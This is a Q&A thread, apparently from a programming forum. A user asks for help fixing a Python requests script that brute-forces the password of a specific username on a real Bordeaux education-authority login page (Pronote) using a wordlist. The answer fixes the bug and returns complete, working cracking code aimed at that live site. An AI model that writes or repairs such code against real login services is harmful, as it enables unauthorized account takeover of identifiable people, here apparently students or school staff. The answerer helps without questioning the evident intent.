Reputation: 13
Please help me i don't know how to use requests
This is the code :
import requests
url = requests.get("https://idp-fim-aaa.ac-bordeaux.fr/login/ct_logon_mixte.jsp?CT_ORIG_URL=%2Fsso%2FSSO%3FSPEntityID%3Dhttps%3A%2F%2Fent2d.ac-bordeaux.fr%2Fshibboleth%26TARGET%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html%26RelayState%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html")
arq = open('word.txt','r').readlines()
for line in arq:
password = line.strip()
http = requests.post(url, data={'user':'bisch', 'password':password, 'button':'submit'})
content = http.content
if "Identifiant ou mot de passe incorrect" in content:
print("[-]Invalide : "+password)
else:
print("================== [+] MOT DE PASSE CRACKÉ : "+password+"===========")
break
and i got this :
Traceback (most recent call last): File "F:\Program Files (x86)\py\lib\site-packages\requests\models.py", line 382, in prepare_url scheme, auth, host, port, path, query, fragment = parse_url(url) File "F:\Program Files (x86)\py\lib\site-packages\urllib3\util\url.py", line 394, in parse_url return six.raise_from(LocationParseError(source_url), None) File "", line 3, in raise_from urllib3.exceptions.LocationParseError: Failed to parse: <Response [200]>
During handling of the above exception, another exception occurred:
Traceback (most recent call last): File "F:/Program Files (x86)/py/Hack pronote/Pronote v3/Pronote.py", line 8, in http = requests.post(url, data={'user':'bisch', 'password':password, 'button':'submit'}) File "F:\Program Files (x86)\py\lib\site-packages\requests\api.py", line 119, in post return request('post', url, data=data, json=json, **kwargs) File "F:\Program Files (x86)\py\lib\site-packages\requests\api.py", line 61, in request return session.request(method=method, url=url, **kwargs) File "F:\Program Files (x86)\py\lib\site-packages\requests\sessions.py", line 528, in request prep = self.prepare_request(req) File "F:\Program Files (x86)\py\lib\site-packages\requests\sessions.py", line 456, in prepare_request p.prepare( File "F:\Program Files (x86)\py\lib\site-packages\requests\models.py", line 316, in prepare self.prepare_url(url, params) File "F:\Program Files (x86)\py\lib\site-packages\requests\models.py", line 384, in prepare_url raise InvalidURL(*e.args) requests.exceptions.InvalidURL: Failed to parse: <Response [200]>
Upvotes: 0
Views: 5385
Reputation: 888
As said by @Iarsks, this is a problem where you're trying to use the URL variable, but the URL variable is not a string but an object, request object to be specific.
If I understood your code, I and as @Iarsks said, you probably don't understand how requests work cuz, it seems like your trying to declare an URL somehow when it's not needed. To simplify, you only need the URL string like this:
url = "https://idp-fim-aaa.ac-bordeaux.fr/login/ct_logon_mixte.jsp?CT_ORIG_URL=%2Fsso%2FSSO%3FSPEntityID%3Dhttps%3A%2F%2Fent2d.ac-bordeaux.fr%2Fshibboleth%26TARGET%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html%26RelayState%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html"
with out the requests.get()
function.
So you can understand this library better there are two mainly used requests methods GET
and POST
, there are more, but for the sake of this ill only talk about these two, where GET
is when you want to get information from the website, for example, a JSON file from and API, and POST
when your want to save or send some new data to and API or webpage.
Anyways I would recommend your reading about the basics of requests and how the backend handles them to understand and see how it all works before starting to use requests on your own.
If I got your problem right, the following code should fix your problem:
import requests
url = "https://idp-fim-aaa.ac-bordeaux.fr/login/ct_logon_mixte.jsp?CT_ORIG_URL=%2Fsso%2FSSO%3FSPEntityID%3Dhttps%3A%2F%2Fent2d.ac-bordeaux.fr%2Fshibboleth%26TARGET%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html%26RelayState%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html"
arq = open('word.txt','r').readlines()
for line in arq:
password = line.strip()
http = requests.post(url, data={'user':'bisch', 'password':password, 'button':'submit'})
content = http.content
if "Identifiant ou mot de passe incorrect" in content:
print("[-]Invalide : "+password)
else:
print("================== [+] MOT DE PASSE CRACKÉ : "+password+"===========")
break
Upvotes: 0